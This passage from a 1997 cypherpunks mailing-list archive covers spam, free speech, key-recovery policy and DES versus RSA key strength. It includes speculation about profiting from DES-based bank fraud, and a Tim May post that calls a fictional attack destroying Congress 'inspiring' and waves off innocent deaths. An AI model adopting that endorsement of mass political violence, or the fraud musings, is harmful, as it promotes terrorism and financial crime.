but out of a reasoned understanding of the harm drugs can do to them -- and
that means they need to get the facts, not a lot of scare tactics. The
government would never let us teach the 'straight dope', if you will, but
we can turn kids on to the net and let them learn for themselves."
====================================================

There. There's all the "facts" -- but a very different spin, no?

************

Date: Fri, 20 Jun 1997 16:53:29 -0500
From: Jon Lebkowsky <jonl@onr.com>
Subject: RE: Internet Knuckle-dragging from the NYTimes

>Very nice.  But so what?  Mr. Wren simply reported what's going on.  He
>never called for censorship of the Internet.  Were you reading the same
>article I was, or what?

Yeah, the article that said "partly owing to free-speech
protection, the Internet lacks a quality control mechanism to separate fact
from hyperbole or from  outright falsehood."

While not exactly a call for censorship, this is certainly dismissive of
free speech.

************



--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kris Carlier <root@iguana.be>
Date: Wed, 25 Jun 1997 04:22:34 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Who is going to HIP'97?
In-Reply-To: <Pine.LNX.3.91.970624130317.724D-100000@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970624221613.16739A-100000@inlimbox.iguana.be>
MIME-Version: 1.0
Content-Type: text/plain



Hi Paul,

> Do you know what crypto presentations are taking place? I think Lutz 
> Donnerhacke is giving a presentation on smart card security and 
> supposedly there is some GSM stuff.

Imvho Lutz will speak about ActiveSomething... Very actively insecure for
sure.

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier@iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 25 Jun 1997 12:02:15 +0800
To: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Subject: Re: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <199706250345.WAA19792@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain



"Philip A. Mongelluzzo" <phimon@ix.netcom.com> writes:

> How do we deal with child pornography and free speech in such a way
> as to allow both to exist and insure our children are not exposed to
> pornographic material until they are at a maturity level where they
> can deal with it?

As a parent, that's _your_ problem.  If you really believe that the
Internet is the great source of unfettered "pornography" that your
child will encounter before he/she/it "are at a maturity level where
they can deal with it", I have some swampland to sell you in Alaska.

Take your kid out of school now.  Make sure he/she/it has no contact
with other children or the outside world.

Unless they're infants, your kids are dealing with it NOW.

Stop kidding yourself.  

Honestly, Phillip, I don't envy your position, but I think you need to
rethink your perspective.   Start by assuming that your kids will be
exposed to adult issues _long_ before they've reached what you
consider the appropriate maturity level.

>  If pornography is the enemy of crypto then that is enemy that must
> be fought.  

????

> A battle that must be won without killing the enemy to
> insure continued free speech.  Quite a challenge I think.  Now, do
> you have any idea how to do that? 

I think that you're on the wrong list.


--
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 14:04:49 +0800
To: cypherpunks@toad.com
Subject: GAH--Government Access to Humor
Message-ID: <199706250550.WAA26851@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



>From the News of the Weird:

* Unclear on the Concept:  In January, Bamrer Pong-insee, a
spokesman for the Professional Comedians Association of
Thailand, said its members will soon be prohibited by rule from
being impolite on stage.  Especially barred are obscene language,
physical humor in which pain is implied, and being disrespectful to
a colleague's parents.

  In reading the above, I realized that in order for the policy to work
properly there will have to be penalties for audience members who laugh
at inappropriate (illegal?) humor. A suitable agency will have to be
formed to enforce these new regulations. Soon the Laughing Police will
be no laughing matter.
  Politicians will be falling all over each other to show the voters
that they are "hard on crime" and will eventually call for the death
penalty for violators. (Sending them to the Laughing-Gas chamber.)

SeriousMonger
{I tried to make it in comedy, but everyone laughed at me.}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 14:04:46 +0800
To: cypherpunks@toad.com
Subject: Re: Bomb-making instructions....
Message-ID: <199706250551.WAA26895@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:

> I personally know no chemistry at all, but what would be nice is if
> someone who knows what they are doing wrote an "anarchists cookbook" type
> set of files, but this time got them right so anyone attempting any of
> the recipes wouldn`t be killed.

  People named "Lefty" need not apply...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 25 Jun 1997 06:45:26 +0800
To: tcmay@got.net
Subject: Re: Making _Real_ Money off a DES Break
In-Reply-To: <v03102803afd5c15420c6@[207.167.93.63]>
Message-ID: <199706242156.WAA00196@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> At 10:54 AM -0700 6/24/97, Adam Back wrote:
> >
> > $100,000 for a machine to break DES in an average of  35 hrs
> ...
> >35 hours sounds a reasonable amount of time to break a Swift banking
> >transfer key protecting trillions of dollars of funds.
> >
> 
> Show me the money! A DES break that resulted in a loss of several tens of
> millions of dollars, suitably publicized, would be both educational and
> rewarding.
> 
> We often talk about the "threat model." But what's the _profit model_ for
> breaking DES?

Who says it hasn't been done?  It's not as if the banks would be keen
to advertise this.

You remember a while back some Russians (including one "mathematician"
according to news reports) had succeeded in fleecing a US bank of
several mil and routing the money to various banks around the world.
Until they got caught.  The news reports said the US bank(s) wanted to
talk to him to find out how he did it.  I was always curious as to
what that Russian did to crack bank security.  I conjecture that it is
possible that he built a wiener machine, and that the bank hushed up
the story.  (And switched to 3DES post haste:-)


Also re. $100k = price of a ferrari and there are plenty of mobsters
around with that kind of money, that price was 1993 price.  Maybe at
1997 prices $100k would get you down to a few hours again.  How small
are the moving windows?

Re. the "profit model" there were several possibilities discussed
around the time the DES crack was starting, before Peter Trei
persuaded RSA to make a challenge.  One was a european ATM card which
had a master DES key, and this was part of some standardisation thing
(each bank had it's own DES key, plus all participating banks allowed
this master key).  But it's not much fun making profit off ATM
machines -- they have cameras in them, and the cash you can draw on
one card in a 24hr period isn't that much.  You'd have to produce
hundreds of faked cards, and have a whole host of accomplices running
around emptying cash machines.  Tricky logistics, many participants ->
increased chance of getting caught.  Not that easy to cash in on.

One factor that hasn't really been discussed much is the possibility
of amortizing cost.  You build the DES breaking machine, and if you
use it to break 1000 DES keys, that's $1k per key.  Starting to open
up even lower end applications with good organisation.

I'm sure there were a couple of things discussed where there were some
interbank transfers which relied on DES.  Moving window means you've
got to break the keys fast, as you say.  Also I wonder how easy it is
to siphon the money and make it disappear with all the auditing.  (aka
may be you could invest 1 mil and build a fast key breaker, transfer
lots of money, but so what if the audit trail points fairly and
squarely at you?  Cash the money quick and buy unconditional
immunity in Belzize?)


btw I now have a text only version of the wiener paper up on:

	http://www.dcs.ex.ac.uk/~aba/crypto-papers/

sans diagrams.  (ps2ascii is your friend).  As well as the postscript.
Some people can't handle postscript.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Wed, 25 Jun 1997 14:05:06 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Wiener paper (was Re: Comparing Cryptographic Key Sizes)
In-Reply-To: <199706241754.SAA00563@server.test.net>
Message-ID: <33B0B3AE.A9CDA6E4@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
> 
> Re comments that I should re-read the paper, here is what Wiener's
> paper says about estimated costs of a specialized DES key breaker:
> 
>  $100,000 for a machine to break DES in an average of  35 hrs
>  $1 mil   for a machine to break DES in an average of 3.5 hrs
>  $10 mil  for a machine to break DES in an average of  21 mins
> 
> It was as Peter says published in 1993.
> 
> Wiener also budgets for $500,000 in design costs (wages, parts, fab
> etc).
> 
> Another interesting part of the design is that it is based on a
> pipelined chip, clocked at 50Mhz which can try 50 Million keys/sec.
> 
> 35 hours sounds a reasonable amount of time to break a Swift banking
> transfer key protecting trillions of dollars of funds.

One thing that I haven't heard anybody mention yet is that if time is
important, you can break keys in an arbitrarily short period of time,
if there's a continuous sequence of transactions.  Assume it takes 35
hrs to crack a key (with 50% probability), This means that you have a
1.4% chance to crack it in one hour.  If you give up after an hour and
pick a new transaction to crack, you have a 50% chance of cracking at
least one transaction after 48 hours, and they will all have been
cracked in less than an hour.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 25 Jun 1997 12:24:39 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: The spam thread
In-Reply-To: <Pine.SOL.3.91.970624093724.9216A-100000@hardy.ocs.mq.edu.au>
Message-ID: <199706250407.XAA19821@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain



Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au> writes:

> 1. What about my rights to privacy, and my rights to my mailbox that I 
> pay for. Why should it be used as an advertising medium if i font want it 
> to be used for one ??
> 

http://www.ii.com/internet/robots/

Go there.  Learn about mail-filtering.  

Do a /Altavista|Hotbot|Yahoo|etc./ web search on "spam solutions."
Find one that suits your taste.

If you don't like it, fix it yourself.  Don't whine to the list about
receiving spam.  If you're on the net, you receive spam.  Some of us,
however, rarely have to see it.

If you want to discuss a crypto-relevant topic with implications for
the spam issue, search for and read up on "digital postage."

Do something to protect your own privacy before you run about
screeching about your "rights" to it.

Welcome to Cypherpunks.

me

-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Wed, 25 Jun 1997 14:39:20 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <v03102805afd5d070ad81@[207.167.93.63]>
Message-ID: <33B0B944.816CB6A3@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> I've heard more of my friends saying that Congress just ought to be
> blown up than I ever would have imagined a few years ago.

This is what I've heard referred to as the "_Debt of Honor_ scenario",
referring to the Clancy book of that name.  In it, an airliner was
crashed into a joint session of congress.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Zirko <lzirko@aye.net>
Date: Wed, 25 Jun 1997 11:35:08 +0800
To: cypherpunks@cyberpass.net
Subject: Freeware Helps Keep Your Cruising Confidential
Message-ID: <3.0.2.32.19970624232929.0097db80@aye.net>
MIME-Version: 1.0
Content-Type: text/plain



I thought I would pass this along.  Just downloaded it and am looking at
it.  Interesting application for Win 95/NT users.  The download page
starts at http://www.luckman.com/anoncookie/anoncookie.html

Lou Zirko

>Freeware Helps Keep Your Cruising Confidential 
>
>
>
>by Brian McWilliams, PC World NewsRadio 
>
>June 24, 1997
>Concerns about Internet privacy are running hot since the recent privacy
>hearings sponsored by the Federal Trade Commission. New laws as well as
>technology standards may soon come to the assistance of Net users. In the
>meantime, a California company is releasing a freeware tool to help users
>gain some control over their online privacy.
>
>Luckman Interactive today posted a utility for Windows 95 and NT called
>Luckman's Anonymous Cookie for Internet Privacy.
>
>According to chief technology officer Marco Papa, the beta software works
>with browsers from Microsoft and Netscape. It installs in your Win 95
>system tray and enables you to switch in and out of "anonymizer mode,"
>that is, controlling whether or not a Web site can write to and read your
>browser's cookie file. This file is used by some sites to personalize
>their content and in some cases to track your activities online.
>
>"We save all your cookie files and replace them with either an empty
>folder or a file that can't be overwritten," explains Papa. "When you turn
>cookies back on, you actually replace whatever may have changed with your
>original cookie files."
>
>Luckman's Anonymous Cookie program is actually technology that was
>developed for the company's WebSweep utility, which is scheduled for
>commercial release later this summer. But Papa says the firm decided to
>pull the cookie piece out now to give users some much-needed control over
>online privacy.
>
>Dierdre Mulligan of the Center for Democracy and Technology says cookie
>files are at the heart of many privacy problems on the Net. Her group is
>especially critical of companies like DoubleClick, which she says violates
>the spirit of the cookie concept by passing user information on to third
>parties. She welcomes tools like Luckman's, but she notes that add-ons
>don't help protect the millions of less experienced Net users.
>
>"If you really want people to have an easy-to-use way to protect
>information or to control what their kids are going to see on the Net,
>build it into the browser. Everybody has one, and they don't have to go
>buy an extra program or figure out how to install it," Mulligan said.
>
>Brent Luckman, chairman of Luckman Interactive, said that's a great idea,
>but he doesn't see much impetus for browser makers to give up access to
>valuable marketing information.
>
>If you're a privacy guerrilla, you can grab your free copy of the
>Anonymous Cookie program from Luckman's Web site.
>
>
Lou Zirko

Key fingerprint =46 F8 6A 89 F1 4A 74 AB  2F 60 21 E3 FB 21 E4 E4
"Were all bozos on this bus", Nick Danger, Third Eye





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 25 Jun 1997 06:45:35 +0800
To: cypherpunks@cyberpass.net
Subject: Comparing Cryptographic Key Sizes II
Message-ID: <199706242233.XAA00222@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




I got quite a few useful comments on the key comparison summary I
posted earlier.  Even some people said they found it useful.  Mark
Grant improved the readability, plus other suggestions.  Peter Trei
urged me to actually re-read the Wiener paper to quote the figures
correctly rather than from memory.  Also Peter raised issues to do
with how to compare hardness to break DES against 512 bit RSA.  There
is now an aside more technical note explaining the issues.  I think I
stand by my original comparison of "roughly equal", because depending
on how you view it, it'll come out 10x cheaper, or 10x harder.
(Memory being one hurdle each participating workstation needing of the
order of 128 Mb; the other hurdle being the existance of a machine
large enough to reduce the matrix which results from all the
relations).

I don't think we can explain it any more technically and expect it to
be useful to a journalist.  We need a gross generalisation: is it
approx as hard, is it 100x harder.  They don't want to hear about
space complexity, the matrix reduction phase (RSA) nor known plaintext
memory trade offs (DES).  If we don't supply the gross generalisation,
they will do it themselves to make it palatable for their readers.
With less understanding of the subject, their generalisation is likely
to be even wildly inaccurate than the generous error bars on ours.
This is not an insult to journalists.  Crypto is a technical,
complicated field.  I wouldn't contemplate making estimates in other
peoples fields.

Further discussion of course still sought (rip it apart pessimists on
crypto estimates).  Here's the new improved version.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`


======================================================================

Comparing Cryptographic Key Sizes

There are two types of cryptographic keys; public keys -- sometimes
called asymmetric key -- and symmetric keys. RSA and Diffie-Hellman
are common public key algorithms and RC4, DES and IDEA common
symmetric key algorithms. You cannot directly compare public key
lengths (for example RSA keys) with symmetric key lengths (DES, RC4);
this is an important point which confuses many people.

For example, 40 bit RC4 (a symmetric key cipher) can be broken in a
few hours with a few hundred workstations but 40 bit RSA (a public key
cipher) can be broken in a fraction of a second on one PC. A 350 bit
RSA key is roughly equivalent in strength to 40 bit RC4, and 512 bit
RSA key is thought to cost roughly the same to break as a 56 bit DES
key.

(That last comparison (DES vs 512 bit RSA) glosses over many issues.
Here's a summary if you're interested: no one's broken a 512 RSA bit
key yet, and you need lots of memory to break RSA at that key size, a
PC with 128 Mb would be required to participate.  In contrast, you
need hardly any memory to break DES, any PC will do.  The internet
based breaking of a DES key in answer to RSA DSI's challenge involved
many participants, and included some participants with low end 486 PCs
with 1Mb of memory.  Theoretically 512 bit RSA could be broken more
quickly than DES, but, as you need more memory than typical
workstations have, a distributed internet attack with the same group
of participants as for the DES break would clearly take longer.  There
are a number of other factors also.)

Symmetric keys sizes are easy to understand; for any particular
algorithm, adding one bit to the key length doubles the
difficulty. Estimating the difficulty of breaking a public key (say
RSA) is harder because the increase in strength is not
straightforward, but typically adding ten bits to the size of an RSA
key doubles the strength.  This is why public key systems require
longer keys to provide the same security.

Most systems use a mixture of public and symmetric key ciphers,
because public key ciphers are _slow_ but dramatically simplify key
management.  Symmetric key ciphers are fast, so they are used in
conjunction with public key systems to speed up the combined
system. Such a system using two ciphers -- one public key and one
symmetric key -- is only as strong as the weakest link.

For example, consider the export version of SSL, as shipped in the
export version of Netscape browsers and servers; it uses 512 bit RSA,
and 40 bit RC4.  Cracking 40 bit RC4 is easier than cracking 512 bit
RSA, so export SSL can be broken by breaking the 40 bit RC4 component.
Ian Goldberg recently broke a 40 bit RC5 key himself with Berkeley
univ machines in 3.5 hours.  40 bit RC4 could be broken in a similar
time.

512 bits RSA is not enough either, and you can rest assured that the
NSA, other governments' secret services, and any corporation or
organised crime group with sufficient funds can break it.  512 bits is
likely within reach of a distributed internet effort, or soon will be.

There is a further problem. Each session uses a different, randomly
chosen, RC4 key, so breaking one RC4 key only allows you to read a
single message. However, every message is encrypted with the _same_
512 bit RSA key, so if you can break that key you can immediately read
any message sent to or from the server. As a consequence, the public
key size should be chosen to be much harder to break than the
symmetric key. In this case although the key is thousands of times
harder to break it would be worth attacking if the server is
processing thousands or millions of transactions.

56 bit DES is harder to break than 40 bit RC4 (SSL); you would expect
that the extra sixteen bits would increase the difficulty 65536 times,
but DES is faster than RC4. In software it's about 5 times faster, so
breaking DES in software is about 10000 times harder than breaking 40
bit RC4 (as used in export SSL).

But if the Russian Mafia or a corporation involved in industrial
espionage wanted to break 56 bit DES they would not use software but
would build a special purpose piece of hardware which was designed
only to break DES.  DES was designed to be fast in hardware, and is a
relatively slow cipher in software.

In 1993 Michael Wiener designed such a DES breaking machine.  His
estimated cost for a machine capable of breaking 56 bit DES in a 3.5
hours hours was $1,000,000. The machine was scalable, so that by
spending more or less money you could reduce or increase the time
taken to break the key.  He estimated that building a machine to break
DES in 21 minutes would cost $10,000,000.

That was 10 years ago; 10 years is a long time in the computer
industry.  Today the machine would be much cheaper because chip
technology has progressed and computers are much faster per
$. Estimates are around $20,000 to build a machine to break a DES key
within a day (neglecting hardware engineers consultancy fees).  When
you consider the sorts of uses DES is being used for by banks, ATM
card PINs, wire transfers, interbank exchanges, DES is clearly
out-of-date.

Everyone expects that NSA, GCHQ, SCSSI have built one or more machines
for $20,000+; this is considered obvious because the NSA and SCSSI
allow export of 56 bit DES.  $20,000 is not much money for a secret
service, or for many less scrupulous individuals.

Algorithms using 40 bit keys are insecure against all but trivial
cracking attempts. Systems using DES (such as SET) are only secure
against organisations who can't raise $20,000 and can't find people
who know lots about crypto and hardware design; $20,000 is not much
money for the Rusian Mafia either. Even worse, once you have built
such a machine the cost of cracking each key is only a few hundreds or
thousands of dollars, so any DES key protecting information of greater
value is a tempting target.

US export controls used to restrict exports to 40 bit RC4.  When the
cypherpunks broke several 40 bit RC4 systems the rules were relaxed to
56 bits.  Now that a distributed internet group has broken 56 bit DES,
the US government's claim that 56 bit is "good enough" is being
demonstrated to be patently false.  The US government's other ploy has
been to allow larger key lengths, but to keep a master key to all
communications for themselves.  When full strength encryption systems
with 128 bit symmetric keys are widely available from foreign
competitors, this firstly makes no sense: why can't the US software
industry export when every one has strong crypto anway.  And secondly
the US software industry is losing billions each year in lost sales to
their european competitors. 

128 bit encryption is unbreakable for all practical purposes.  You
will recall in the discussion above that each bit of key size doubles
the work required to break a symmetric cipher.  A 128 bit cipher is
4,722,366,482,869,645,213,696 times harder to break than DES.  That is
a very large number.  Messages encrypted with such keys aren't likely
to be breakable for 30-100 years from now.

Similarly 1024, to 4096 bit public key systems are in use, and
available outside the US.  These systems are of roughly comparable
hardness to break to 128 bit symmetric keys, the larger the key, the
more secure.

One final point: things are getting better for cryptography.  The
attackers job is getting harder.  With each doubling of machine speed
it is possible to use larger keys, and still encrypt and decrypt
instantly when you have the key.  When PGP was first released back in
1991, 1024 bit RSA keys were slow to use on the state of the art PC
then, a lowly '286.  Nowadays an entry level PC, a Pentium 133
whistles through 4096 bit keys.  If we say that a P133 is 50x faster
than a 20Mhz '286 you can see that the same person using encryption
now can use key sizes which before were too slow.  I can assure you
that in moving from a 1024 bit key to a 4096 bit key, the attackers
job is well in excess of 50x harder.  Greatly in excess of a trillion
trillion times harder.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fudman <fudman@nist.gov>
Date: Wed, 25 Jun 1997 15:06:00 +0800
To: cypherpunks@Algebra.COM
Subject: tacdfipsfkmi: What the gov't wants
Message-ID: <33B0C020.4035@nist.gov>
MIME-Version: 1.0
Content-Type: text/plain



What the government wants in a key recovery system.
And, ummm: doesn't Benaloh work for Microsoft?

>From ...
        Minutes of the February 19-20, 1997 Meeting of the 
                   Technical Advisory Committee 
       to Develop a Federal Information Processing Standard 
           for the Federal Key Management Infrastructure



2.      Security Models working group chaired by Dr. Brickell. Dr.
Benaloh was
asked to give their report in Dr. Brickell's absence. Dr. Benaloh said
that
there was a good deal of overlap between the requirements and framework
groups and they are trying to separate the two.  
!!!!!!!!!!!!!!!!!
He stated that from what
the agencies presented, they are looking for a flexible mandatory
standard,
covering both stored and transmitted data, for commercially available
off-the-shelf products.  
!!!!!!!!!!!!!!!!!

A major issue noted was the matter of flexibility.
The standard must be broad enough to allow products to be developed by
anyone.  The scope of this working group was stated by Mr. Chokhani as
identifying things such as key recovery agents, TTPs, two entity
systems,
integrity, authorization of keys, confidentiality of information, and
accountability, especially of key recovery agents.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 15:06:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <v03102805afd5d070ad81@[207.167.93.63]>
Message-ID: <v03102800afd670a85218@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:23 PM -0700 6/24/97, Tom Weinstein wrote:
>Tim May wrote:
>>
>> I've heard more of my friends saying that Congress just ought to be
>> blown up than I ever would have imagined a few years ago.
>
>This is what I've heard referred to as the "_Debt of Honor_ scenario",
>referring to the Clancy book of that name.  In it, an airliner was
>crashed into a joint session of congress.

I dubbed it the "Sato Solution." (As I recall...it's been a while since I
read it...I think Sato was the pilot of the 747. If not this name,
something similar.)

The destruction of the entire Congress, plus a thousand other despots and
sycophants, was inspiring. No doubt the bleeding hearts would moan about
the severed limbs of innocent children and all that. One wonders where they
were when 300,000 civilians were incincerated in Dresden.

Ironic that Tom Clancy is not treated as a "terrorist" for his scenarios.
He supports the mil-ind complex, so he must not be a terrorist. (The same
logic that had George Bush decrying violence and lack of family values in
the film industry...with Arnold Schwarzenegger on the platform with him.)

We need to get beyond the sentimentality of concentrating on the
"innocents" and instead coldly analyze what needs to be done, and then do
it.

--Tim May





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 25 Jun 1997 07:15:21 +0800
To: jrennie@hardy.ocs.mq.edu.au
Subject: intro to public key crypto (was Re: Comparing Cryptographic Key Sizes)
In-Reply-To: <Pine.SOL.3.91.970625072559.18831A-100000@hardy.ocs.mq.edu.au>
Message-ID: <199706242308.AAA00465@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
> On Tue, 24 Jun 1997, Adam Back wrote:
> 
> > (Bearing in mind the reader in most cases hasn't grasped the
> > difference between public key crypto and symmetric key, and is
> > comparing 1024 bit keys to 56 bit keys and probably thinks that it is
> > 1024/56 times harder.)
> 
> Well i guess i'll look stupid for asking but someone has to but what is 
> the diffrence ?? I dont know either, i'm on this list to learn things 
> like this. I'm still very new to all of this. I was aware that they 
> weren't 1024/56 times harder though.

They have very different properties.  Public key systems have really
nifty key management properties.

With symmetric key crypto (as ever) things are simple and intuitive.
You have some data, you have a key, and you can scramble the data with
the key, you get out gibberish.  Some jargon, the three parts are
called: your data = plaintext, scrambled gibberish you get out is
called ciphertext, and the key is the cryptographic key which enables
to be decrypted (de-scrambled, turned back into plaintext, that you
can read again).  To unscramble the data you'll need the key again.
If you send the message to someone, that someone also has to know the
key.

Big problem: how do you get the key to them?

Phone them up?  (Painful).  If you can contact them securely why
bother with crypto in the first place.  Just tell them what it is you
want to tell them over the phone.  (Not that phones are secure, of
course).

Then Whitfield Diffie and Martin Hellman invented the first practical
public key crypto system (1976).  With public key systems you have two
keys.  One is called the public key, you give this to everyone.  The
other is the private (or secret) key which you tell no-one.

Anything encrypted with the public key can be decrypted with the
secret key.  As you can tell anyone the public key you can list it in
a directory service much like you list your phone number in the phone
book.  PGP keyservers are examples of such electronic directories of
public keys.

Now anyone who wants to send you a message just gets your public key
(from you, or from a keyserver), encrypts it to you, and sends you the
encrypted message.  So now a perfect stranger half way around the
world can encrypt a message to you, safe in the knowledge that no-one
but you can read it, not even the NSA.

Everything is beautiful and rosy.  (Well everyone except the NSA, who
thinks everything has gone all dark and horrid, 'cause they used to
have fun reading all our comms, but it's too late anyway, because we
all know how to do it now.  And folks like Tim May enthuse about the
possibilites of crypto anarchy, where we can be free from our
respective governmental leeches, by avoiding 50% tax rates, as
information workers working for cypherspace corporations situated in
off-shore tax-havens, or even situated no-where except cypherspace.
Cypherpunks dream.  NSA nightmare, government leech nightmare, spook
and leech job losses, plumetting tax revenues, lay-offs, radical loss
of government power and significance etc, etc.  You ought to read Tim
May's cyphernomicon at this point.)

Returning to technical matters, there is a minor fly in the
ointment... the man in the middle attack... so now we need
authentication.  We need digital signatures.  And things just got a
bit more complex in the key management area.

(We'll save those for lesson 2.  Someone else?)

Should this go in the comparing keys document?  Or is it going to
suffer bloat turning into another introduction to crypto?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 25 Jun 1997 07:17:45 +0800
To: ericm@lne.com
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <199706242102.OAA31118@slack.lne.com>
Message-ID: <199706242313.AAA00549@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Eric Murray <ericm@lne.com> writes:
> Tim May writes:
> > 
> > The terrible, terrible S.909 McCain-Kerrey bill is probably a negotiating
> > card in the coming Grand Compromise.
> 
> As Declan notes, Congress is driven to compromise.  The
> government side can propose ever more draconian laws in order to
> engineer the 'compromise' to whatever it wants.  On the other side, we
> are stuck, because we have been asking for things that we really want, not
> bargaining chips.  Even if we were to ask for bargaining chips that
> are more than we really want, how much further than completely free
> crypto can you go?    

Oh I dunno.  We could get Tim to give a congressional statement,
highlighting the interesting consequences of a fully developed crypto
anarchic society.  That'd put the fear into them.  ('Course the
problem is we'd never get him to go within 100 miles of the place, and
he'd probably consider it a waste of time talking to them anyway.)

But there's scope I think.

But would it help?  Don't know.  It gets close to some aspects of the
NSA scare stories, money launderers, tax evasion, etc. etc.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 25 Jun 1997 12:43:45 +0800
